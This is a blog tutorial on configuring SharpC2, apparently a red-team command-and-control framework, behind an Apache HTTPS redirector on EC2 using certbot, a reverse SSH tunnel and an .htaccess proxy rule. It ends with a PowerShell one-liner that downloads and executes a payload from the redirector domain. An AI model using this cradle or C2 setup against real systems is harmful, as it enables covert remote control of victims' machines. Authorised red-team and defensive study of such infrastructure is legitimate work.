SharpC2: HTTPS with Redirector

This post will demonstrate how to use the HTTPS handler in SharpC2 with an Apache redirector. I’ll be running SharpC2 inside WSL on my physical host and an EC2 instance as my redirector. The traffic will be proxied from Apache to SharpC2 over a reverse SSH tunnel.

Redirector

First, install Apache and enable the relevant modules.

$ sudo apt update; sudo apt -y upgrade; sudo apt -y install apache2
$ sudo a2enmod ssl rewrite proxy proxy_http

Enable the default HTTPS config by adding a symlink for default-ssl.conf in /etc/apache2/sites-enabled. Restart Apache and check that it loads in a browser.

$ sudo systemctl restart apache2

Ensure that appropriate DNS records exist for your domain. I’m using nickelviper.com in this example where 35.179.90.226 is the public IP of the EC2 redirector.

Install certbot on the EC2 instance.

$ sudo apt -y install certbot python3-certbot-apache

Before we run it, modify default-ssl.conf and add the ServerName and ServerAlias directives inside the VirtualHost block.

ServerName    nickelviper.com
ServerAlias   www.nickelviper.com

Also rename the EC2 instance for good measure.

$ sudo hostnamectl set-hostname nickelviper.com

Now request the certificates with certbot. This process will automatically add them to default-ssl.conf.

$ sudo certbot --apache --register-unsafely-without-email

Which names would you like to activate HTTPS for?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: nickelviper.com
2: www.nickelviper.com
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate numbers separated by commas and/or spaces, or leave input
blank to select all options shown (Enter 'c' to cancel):
Requesting a certificate for nickelviper.com and www.nickelviper.com

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/nickelviper.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/nickelviper.com/privkey.pem
This certificate expires on 2023-07-02.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

Deploying certificate
Successfully deployed certificate for nickelviper.com to /etc/apache2/sites-enabled/default-ssl.conf
Successfully deployed certificate for www.nickelviper.com to /etc/apache2/sites-enabled/default-ssl.conf
Congratulations! You have successfully enabled HTTPS on https://nickelviper.com and https://www.nickelviper.com

The trusted certificate will then be visible in a browser.

You can now remove the 000-default.conf file and restart Apache to disable the HTTP configuration. With that portion out of the way, we can turn our attention to setting up SharpC2.

SharpC2

Generate another set of certificates for the traffic going between Apache and SharpC2.

domain="localhost"
openssl req \
-x509 \
-newkey rsa:2048 \
-sha256 \
-days 365 \
-nodes \
-keyout $domain.key \
-out $domain.crt \
-subj "/CN=${domain}" \
-extensions v3_ca \
-extensions v3_req \
-config <( \
  echo '[req]'; \
  echo 'default_bits= 2048'; \
  echo 'distinguished_name=req'; \
  echo 'x509_extension = v3_ca'; \
  echo 'req_extensions = v3_req'; \
  echo '[v3_req]'; \
  echo 'basicConstraints = CA:FALSE'; \
  echo 'keyUsage = nonRepudiation, digitalSignature, keyEncipherment'; \
  echo 'subjectAltName = @alt_names'; \
  echo '[ alt_names ]'; \
  echo "DNS.1 = ${domain}"; \
  echo '[ v3_ca ]'; \
  echo 'subjectKeyIdentifier=hash'; \
  echo 'authorityKeyIdentifier=keyid:always,issuer'; \
  echo 'basicConstraints = critical, CA:TRUE, pathlen:0'; \
  echo 'keyUsage = critical, cRLSign, keyCertSign'; \
  echo 'extendedKeyUsage = serverAuth, clientAuth')

SharpC2 expects the PKCS12 format, so combine the private key and public certificate.

$ openssl pkcs12 -export -out $domain.pfx -inkey $domain.key -in $domain.crt
Enter Export Password: password
Verifying - Enter Export Password: password

Create the handler in the SharpC2 client using the domain name, certificate and certificate password.

Apache will obviously not trust this certificate. We can configure it to either ignore all bad certificates or add this certificate into the trusted store on the EC2 VM. Let’s do the latter.

Copy the public certificate to the EC2 instance.

$ scp -i demo.pem localhost.crt [email protected]:/home/ubuntu/localhost.crt
localhost.crt                                       100% 1066    47.4KB/s   00:00

Then add it to the trusted store using update-ca-certificates.

$ sudo cp localhost.crt /usr/local/share/ca-certificates
$ sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
rehash: warning: skipping ca-certificates.crt,it does not contain exactly one certificate or CRL
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.

SSH Tunnel

SSH into the EC2 instance and create a reverse port forward that will bind port 8443 on the remote host and redirect the traffic to 443 on the localhost.

$ ssh [email protected] -i demo.pem -R 8443:localhost:443 -N

You should then be able to hit the SharpC2 handler using curl on the EC2 instance.

$ curl https://localhost:8443/test

The final step of the process is to add the proxy configuration to Apache using .htaccess. For this, we need another edit to default-ssl.conf. Add SSLProxyEngine on to the VirtualHost blocks then the following after the closing </VirtualHost> tag.

<Directory /var/www/html/>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Require all granted
</Directory>

Create the .htaccess file in the Apache webroot.

$ sudo vim /var/www/html/.htaccess

For the purposes of this post, I’m just going to proxy all the traffic. However, you can be selective over what traffic gets proxied, redirected or dropped, etc.

RewriteEngine on
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]

We can then curl the public domain name and see a hit in the SharpC2 weblog.

$ curl https://www.nickelviper.com/test2

Now it’s just a case of generating and executing a payload.

PS C:\Users\Daniel> iex (new-object net.webclient).downloadstring("https://www.nickelviper.com/a")

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

.NET Startup Hooks

tl;dr

Since .NET Core 3, the dotnet runtime has provided a low-level hook that allows...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

.NET Startup Hooks

tl;dr

Since .NET Core 3, the dotnet runtime has provided a low-level hook that allows...